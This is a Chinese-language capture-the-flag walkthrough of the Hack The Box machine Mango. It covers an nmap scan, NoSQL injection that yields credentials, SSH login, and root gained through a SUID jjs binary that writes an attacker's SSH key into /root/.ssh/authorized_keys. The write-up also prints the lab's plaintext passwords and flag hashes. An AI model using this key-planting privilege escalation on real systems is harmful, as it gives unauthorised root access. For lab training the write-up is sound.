Basic Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
~/Documents/HTB/Mongo root@kali
❯ cat nmap.txt
# Nmap 7.80 scan initiated Tue Jan 28 12:37:54 2020 as: nmap -sV -sC -oN nmap.txt 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.33s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
711/tcp filtered cisco-tdp
2119/tcp filtered gsigatekeeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 28 12:58:07 2020 -- 1 IP address (1 host up) scanned in 1213.07 seconds

Nmap显示开放了80和443两个端口,随即对两个端口进行检查,80端口没有发现有用信息。 检查SSL证书后域名staging-order.mango.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
~/Documents/HTB/Mongo root@kali
❯ cat sslscan.txt
...

SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength: 2048

Subject: staging-order.mango.htb
Issuer: staging-order.mango.htb

Not valid before: Sep 27 14:21:19 2019 GMT
Not valid after: Sep 26 14:21:19 2020 GMT

User.txt

访问后发现一个登陆页面,使用burpsuit检查后[这篇文章] 后发现存在NoSQL注入。 经过提示,数据库与该机器名字有关,猜测为MongoDB 使用[这个PoC]进行账号密码的猜解.

1
2
3
4
5
6
7
~/Documents/HTB/Mango root@kali
❯ cat creds.txt
# SSH [su admin]& Web
admin:t9KcS3>!0B#2

# SSH
mango:h3mXK8RhU~f{]f5H

使用mango用户凭证登录ssh 切换至admin,获得User.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@kali:~/Documents/HTB/Mango# ssh mango@10.10.10.162
mango@10.10.10.162's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Jan 29 05:23:47 UTC 2020

System load: 0.0 Processes: 100
Usage of /: 25.8% of 19.56GB Users logged in: 0
Memory usage: 14% IP address for ens33: 10.10.10.162
Swap usage: 0%


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.


Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
mango@mango:~$ su admin
Password:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/mango$ cd
admin@mango:/home/admin$ ls
user.txt
admin@mango:/home/admin$ cat user.txt
79bf31c6c6eb38a8567832f7f8b47e92
admin@mango:/home/admin$

Root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
[-] SUID files:                                                                                                                                                                                                                   [40/1299]
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
-rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
-rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
-rwsr-xr-x 1 root root 40152 May 15 2019 /snap/core/7713/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/7713/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/7713/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/7713/bin/su
-rwsr-xr-x 1 root root 27608 May 15 2019 /snap/core/7713/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/7713/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/7713/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/7713/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/7713/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/7713/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jun 10 2019 /snap/core/7713/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/7713/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Aug 30 07:09 /snap/core/7713/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7713/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6350/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6350/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6350/bin/ping6
-rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6350/bin/su
-rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6350/bin/umount
-rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6350/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6350/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6350/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6350/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6350/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6350/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Nov 5 2018 /snap/core/6350/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6350/usr/sbin/pppd
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
-rwsr-sr-x 1 root root 18161 Jul 15 2016 /usr/bin/run-mailcap
-rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine

更具检查结果发现/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs 我们可以以root身份运行,更具GTFO[https://gtfobins.github.io/gtfobins/jjs/\] 我们生产ssh_key,将公钥写入到 authorized_keys 内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
~/Documents/HTB/Mango root@kali                                                                                                                                                                                                            
❯ ssh-keygen -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:E4Zcl/a/FnyH821RCffkQZyebivfMz0mmXcmfyv5I6k root@kali
The key's randomart image is:
+---[RSA 3072]----+
| . .. o..|
| . o .o . =.|
| o o. . +o=|
| . . . ++|
| S o...|
| . *+o|
| ***|
| X+OX|
| E..XO@|
+----[SHA256]-----+

导入authorized_keys

1
2
3
4
5
6
7
8
9
10
$ echo 'var FileWriter = Java.type("java.io.FileWriter");
> var fw=new FileWriter("/root/.ssh/authorized_keys");
> fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXYkrJjzlSTTpNIbET55u4cb+z7Zmmi91nTQAQBL+09ywk1isojMLK7uDhMNI9O2pdRdvaqpCx5psmStwc3A2xIyfX4F9NMm6MI6TjcbQ1OijHQWXMW0HausnmRvmnrxi3PmyBhwDonE7tqfmSDVL5qEmwzE6sXYxnjqgFFxyX7AcgmdO7l0uhT1cQQs8BrOJ/dI0CMajheuN6YtTFr6pOjkCYgjEEOf5HWCHUEYMMeNx4eMirtkbD4asInze3Slr+Ji9OGgVfcMvgP6AjHl/ka1kzrLpNKeAigv1pez4rN2jSymovYeSy3GhaUNh0s7/lmWFXDCBUicshwpwh2j10QIryUEJLQLe5IWFQRiIopoeXVQ0JPsi4YGELILUT4TLbCzsG+bHO9Clp4rvYRlM4wjlczUAdZlnZVvX0D9RO00lupp/NlGzUdHUGOC2uJuHf137V1eg7nJAnQ6G2q7/bVW+tuSlARIiFcUoTVR96lfZnqecimn2n5EiMhdoBqS0= root@kali");
> fw.close();' | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var FileWriter = Java.type("java.io.FileWriter");
jjs> var fw=new FileWriter("/root/.ssh/authorized_keys");
jjs> fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXYkrJjzlSTTpNIbET55u4cb+z7Zmmi91nTQAQBL+09ywk1isojMLK7uDhMNI9O2pdRdvaqpCx5psmStwc3A2xIyfX4F9NMm6MI6TjcbQ1OijHQWXMW0HausnmRvmnrxi3PmyBhwDonE7tqfmSDVL5qEmwzE6sXYxnjqgFFxyX7AcgmdO7l0uhT1cQQs8BrOJ/dI0CMajheuN6YtTFr6pOjkCYgjEEOf5HWCHUEYMMeNx4eMirtkbD4asInze3Slr+Ji9OGgVfcMvgP6AjHl/ka1kzrLpNKeAigv1pez4rN2jSymovYeSy3GhaUNh0s7/lmWFXDCBUicshwpwh2j10QIryUEJLQLe5IWFQRiIopoeXVQ0JPsi4YGELILUT4TLbCzsG+bHO9Clp4rvYRlM4wjlczUAdZlnZVvX0D9RO00lupp/NlGzUdHUGOC2uJuHf137V1eg7nJAnQ6G2q7/bVW+tuSlARIiFcUoTVR96lfZnqecimn2n5EiMhdoBqS0= root@kali");
jjs> fw.close();
jjs> $

导入后使用SSH登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
~/Documents/HTB/Mango root@kali
❯ ssh -i id_rsa root@10.10.10.162
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Jan 29 05:45:32 UTC 2020

System load: 0.06 Processes: 107
Usage of /: 25.9% of 19.56GB Users logged in: 1
Memory usage: 24% IP address for ens33: 10.10.10.162
Swap usage: 0%


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 29 05:44:23 2020 from 10.10.14.13
root@mango:~# ls
root.txt
root@mango:~# cat root.txt
8a8ef79a7a2fbb01ea81688424e9ab15
root@mango:~#